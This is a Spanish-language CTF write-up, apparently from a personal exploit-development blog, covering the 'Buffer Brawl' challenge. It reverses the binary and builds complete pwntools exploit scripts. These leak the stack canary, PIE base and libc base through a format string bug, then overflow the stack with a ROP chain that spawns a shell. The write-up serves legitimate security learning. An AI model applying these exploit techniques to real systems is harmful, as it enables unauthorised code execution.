xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



World Wide

Buffer Brawl



Reversing


Si ejecutamos el binario nos muestra un menú con varias opciones que analizaremos

❯ ./buffer_brawl

        |||||||||
        | _   _ |      
       (  ' _ '  )
        |  ___  |
         |_____|                   
  _______/     \_______         
 /                     \          
|   |\             /|   |
|   ||  .       .  ||   |     
|   / \           / \   |
\  |   | |_ | _| |   |  /     
|==|   | |_ | _| |   |==|
/  /_ _|_|__|__|_|_ _\  \ 
|___| /            \|___|
      |     |      |
      |     |      |
      |     |      |
      |     |      |
      ''|''|''|''|''           
        |  |  |  |   
        |  |  |  |   
       /   )  (   \ 
      Ooooo    ooooO

Ladies and gentlemen...
Are you ready? For the main event of the CTF?
Introducing...
A challenge that packs a punch, tests your mettle, and overflows with excitement!  
Let's get ready to buffeeeeeeeer!!!

Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
>

Analizaremos el funcionamiento del programa asi que iniciamos desensamblando la función main, esta llama a un par de funciones, la última de ellas es menu

La función menu inicia guardando una string en el stack y estableciendo una variable option choice la cual decidirá a que función llamar a través de una estructura switch

El siguiente bloque muestra poco a poco la string que muestra las opciones y recibe un entero con scanf que como formato recibe %d indicando un decimal

En el caso por defecto o 0 muestra un mensaje con puts indicando que no es una opción válida y vuelve al inicio de la función main para recibir nuevamente el digito

Si no salta al bloque 0 por defecto elige a que bloque saltar a través de un switch

El caso 1 llama a la función jab, esta resta una unidad a la variable global llamada stack_life_points y salta a la función stack_check_up que luego analizaremos

El caso 2 llama a hook que hace lo mismo pero resta 2 unidades en lugar de una

Finalmente el caso 3 llama a la función uppercut que resta un total de 3 unidades

Cada una de las funciones termina con un jmp hacia la función status_check_up, ésta función al inicio compara la variable global stack_life_points con la constante 13

Si la variable tiene un valor mayor o igual a 0 lanza un mensaje llamando a la función printf que muestra los puntos totales en la variable y sigue con la ejecución normal

Si la comparación de la variable global contra la constante 13 puntos resulta exitosa muestra un prompt con puts y recibe una string con scanf que lo guarda en el segundo argumento al que le pasa el valor de rsp, entendemos que escribirá en el stack, luego de la ejecución mueve el rsp un total de 0x28 o 40 bytes más adelante, aqui tenemos un posible buffer overflow, el offset al return address es 40 pero la stack cookie está en rbp - 8 y el offset para llegar ahí son 24 bytes

Volvemos a la estructura switch, el caso 4 llama a slip lee un total de 0x1d bytes con read y lo guarda en el rsp, luego le pasa eso como único argumento a printf sin pasarle algún tipo de formato ocasionando una vulnerabilidad de format string


Explotación


Iniciamos mirando las protecciones con checksec, empezamos con el FULL RELRO nos impode escribir en la tabla got, el Canary establece una variable local en rbp - 8 que comprueba que no se haya modificado antes de retornar, el NX nos impide ejecutar shellcode en el stack y el PIE hace aleatoria la dirección base del binario

❯ checksec buffer_brawl
[*] '/home/user/buffer_brawl'
    Arch:       amd64-64-little  
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Sabemos que en el caso 4 tenemos un format string, podemos probar enviar varios %p separados por . y el resultado son leaks de múltiples punteros interesantes

> 4

Try to slip...
Right or left?
%p.%p.%p.%p.%p.%p.%p
0x7ffc899d9390.0x1d.0x7e973e3147e2.0x1e.(nil).0x70252e70252e7025.0x252e70252e70252e  
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut  
4. Slip
5. Call off

El siguiente script en python itera sobre las posiciones del 1 al 15 y muestra los punteros filtrados para ver si alguno de ellos nos puede servir para la explotación

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./buffer_brawl", "continue")

for i in range(1, 15):
    shell.sendlineafter(b"> ", b"4")
    shell.sendlineafter(b"?\n", f"%{i}$p".encode())  

    leak = shell.recvline().strip().decode()

    log.info(f"{i}: {leak}")

shell.interactive()

Al ejecutarlo de primeras llama la atención la posición 11 ya que son 8 bytes completos y el último es un 00, formato tipico de las stack cookies o canary

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 33778
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']  
[*] 1: 0x7fff21c92580
[*] 2: 0x1d
[*] 3: 0x7922b91147e2
[*] 4: 0x1e
[*] 5: (nil)
[*] 6: 0x5a0a70243625
[*] 7: 0xa
[*] 8: 0x5a007b8e24e0
[*] 9: 0x5a007b8e2181
[*] 10: 0x5a007b8e2171
[*] 11: 0x4c2cdd8b3ad7ff00
[*] 12: 0x5a007b8e24e0
[*] 13: 0x5a007b8e1747
[*] 14: 0x24
[*] Switching to interactive mode

Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $

La posición 13 apunta a la función menu + 215, esta dirección es parte del binario y si restamos el offset que son 0x1747 bytes deberiamos poder obtener la dirección base

^C
Program received signal SIGINT, Interrupt.
0x00007922b91147e2 in read () from ./libc.so.6
pwndbg> x/i 0x5a007b8e1747
   0x5a007b8e1747 <menu+215>:	jmp    0x5a007b8e16c0 <menu+80>
pwndbg> vmmap 0x5a007b8e1747
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x5a007b8e0000     0x5a007b8e1000 r--p     1000      0 /home/user/buffer_brawl
►   0x5a007b8e1000     0x5a007b8e2000 r-xp     1000   1000 /home/user/buffer_brawl +0x747  
    0x5a007b8e2000     0x5a007b8e3000 r--p     1000   2000 /home/user/buffer_brawl
pwndbg> p/x 0x5a007b8e1747 - 0x5a007b8e0000
$1 = 0x1747
pwndbg>

Entonces, hacemos un leak con los punteros en la posición 11 y 13, a éste último le restamos el offset y de esta forma obtenemos la stack cookie y la dirección base del binario, con esto ya evadimos 2 de las protecciones que son el Canary y el PIE

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./buffer_brawl", "continue")  

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747

log.info(f"Canary: {hex(canary)}")
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

Lo ejecutamos para comprobar que funciona, esto nos muestra la stack cookie y una dirección que si comparamos con la dirección base del binario es justo la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 34169
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']  
[*] Canary: 0x232f75b7c0f1b600
[*] Binary base: 0x5c0474962000
[*] Switching to interactive mode

Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $

^C
Program received signal SIGINT, Interrupt.
0x000076e3605147e2 in read () from ./libc.so.6
pwndbg> vmmap buffer_brawl
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
►   0x5c0474962000     0x5c0474963000 r--p     1000      0 /home/user/buffer_brawl
►   0x5c0474963000     0x5c0474964000 r-xp     1000   1000 /home/user/buffer_brawl
►   0x5c0474964000     0x5c0474965000 r--p     1000   2000 /home/user/buffer_brawl
►   0x5c0474965000     0x5c0474966000 r--p     1000   2000 /home/user/buffer_brawl
►   0x5c0474966000     0x5c0474967000 rw-p     1000   3000 /home/user/buffer_brawl  
►   0x5c0474967000     0x5c0474969000 rw-p     2000   5000 /home/user/buffer_brawl  
    0x5c0474d2c000     0x5c0474d4d000 rw-p    21000      0 [heap]
pwndbg>

Al inicio cuando lekeamos algunos punteros podemos notar que a partir de la posición 6 los valores son un reflejo de nuestros datos en punteros hexadecimales

❯ unhex 70252e70252e7025 | rev  
%p.%p.%p

❯ unhex 252e70252e70252e | rev  
%.p%.p%.

Entonces, podemos enviar %7$p para hacer un leak de la posición 7 y luego rellenar con . a 8 bytes que es el tamaño del puntero, luego enviamos AAAABBBB, el resultado es que el leak muestra estos caractéres de la posición 7 como puntero

> 4

Try to slip...
Right or left?
%7$p....AAAABBBB
0x4242424241414141....AAAABBBB  
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
>

Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got de la función puts que contiene una referencia a su posición en libc

pwndbg> x/i puts
   0x1030 <puts@plt>:    jmp    QWORD PTR [rip+0x2f6a]        # 0x3fa0 <puts@got.plt>  
pwndbg>

También necesitamos el offset ésta la misma función pero en libc que obtenemos con libcdb, esto para restarle esa cantidad al leak y obtener la dirección base de libc

❯ libcdb file libc.so.6
[*] libc.so.6
    Version:     2.35
    BuildID:     490fef8403240c91833978d494d39e537409b92e
    MD5:         3ffd733fd1e00b1f8ef939de78b33509
    SHA1:        b99cddb548877d514655da7ecac1348dd45e6eee
    SHA256:      5955dead1a55f545cf9cf34a40b2eb65deb84ea503ac467a266d061073315fa7  
    Symbols:
        __libc_start_main_ret = 0x29d90
                         dup2 = 0x115010
                       printf = 0x606f0
                         puts = 0x80e50
                         read = 0x1147d0
                   str_bin_sh = 0x1d8678
                       system = 0x50d70
                        write = 0x114870

Entonces, ahora nuestro exploit usa %7$s para mostrar como string el contenido de la posición 7, rellenamos el qword y para esa posición le pasamos la entrada got de la función puts, entonces ejecutará algún tipo de printf(puts@got) que muestra la dirección de puts en memoria y al restar el offset nos da la dirección base de libc

#!/usr/bin/python3
from pwn import gdb, p64, u64, log

shell = gdb.debug("./buffer_brawl", "continue")

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747

payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)

libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50  
log.info(f"Libc base: {hex(libc_base)}")

shell.interactive()

Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb es exactamente la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 38069
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']  
[*] Libc base: 0x79d216c00000
[*] Switching to interactive mode

Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $

^C
Program received signal SIGINT, Interrupt.
0x000079d216d147e2 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x6337e5243000     0x6337e5264000 rw-p    21000      0 [heap]
►   0x79d216c00000     0x79d216c28000 r--p    28000      0 /home/user/BufferBrawl/libc.so.6
►   0x79d216c28000     0x79d216dbd000 r-xp   195000  28000 /home/user/BufferBrawl/libc.so.6
►   0x79d216dbd000     0x79d216e15000 r--p    58000 1bd000 /home/user/BufferBrawl/libc.so.6
►   0x79d216e15000     0x79d216e16000 ---p     1000 215000 /home/user/BufferBrawl/libc.so.6
►   0x79d216e16000     0x79d216e1a000 r--p     4000 215000 /home/user/BufferBrawl/libc.so.6
►   0x79d216e1a000     0x79d216e1c000 rw-p     2000 219000 /home/user/BufferBrawl/libc.so.6  
pwndbg>

Vamos con la siguiente vulnerabilidad, mediante un bucle for restaremos 3 puntos 29 veces, esto deja a la variable stack_life_points en 13, entonces ya podemos explotar el buffer overflow el cual dijimos tenia un offset a la cookie de 24 bytes, ahí enviamos el canary, 8 B's para rbp y 8 C's para el return address, además un par de D's que se guardarán en el stack, asi tenemos el control del flujo de ejecución

#!/usr/bin/python3
from pwn import gdb, p64, u64

shell = gdb.debug("./buffer_brawl", "continue")

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747

payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)

libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50  

for i in range(29):
    shell.sendlineafter(b"> ", b"3")

offset = 24
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += b"C" * 8
payload += b"D" * 24

shell.sendlineafter(b": ", payload)
shell.recvline()

shell.interactive()

Program received signal SIGSEGV, Segmentation fault.  
0x000063b373c7647d in stack_check_up ()
pwndbg> x/gx $rsp
0x7ffc8025a808:	0x4343434343434343
pwndbg> x/s $rsp+8
0x7ffc8025a810:	'D' <repetidos 24 veces>
pwndbg>

Una vez controlamos el return address y los valores en el stack simplemente nos queda agregar un ropchain, en este caso debido a problemas con system usamos uno que ejecute execve("/bin/sh", NULL, NULL); a través de una syscall

#!/usr/bin/python3
from pwn import process, p64, u64

shell = process("./buffer_brawl")

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747

payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got

shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)

libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50  

for i in range(29):
    shell.sendlineafter(b"> ", b"3")

offset = 24
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += p64(libc_base + 0x045eb0) # pop rax; ret;
payload += p64(0x3b)                 # execve()
payload += p64(libc_base + 0x02a3e5) # pop rdi; ret;
payload += p64(libc_base + 0x1d8678) # "/bin/sh"
payload += p64(libc_base + 0x02be51) # pop rsi; ret;
payload += p64(0x0)                  # NULL
payload += p64(libc_base + 0x118f2f) # mov rdx, rsi; syscall;

shell.sendlineafter(b": ", payload)
shell.recvline()

shell.interactive()

Entonces, en el exploit usamos el format string para lekear el canary y la dirección base del binario, ya con ello lekeamos la dirección base de libc para posteriormente explotar el buffer overflow que al ejecutar el ropchain nos devuelve una shell

❯ python3 exploit.py
[+] Starting local process './buffer_brawl': pid 41976  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$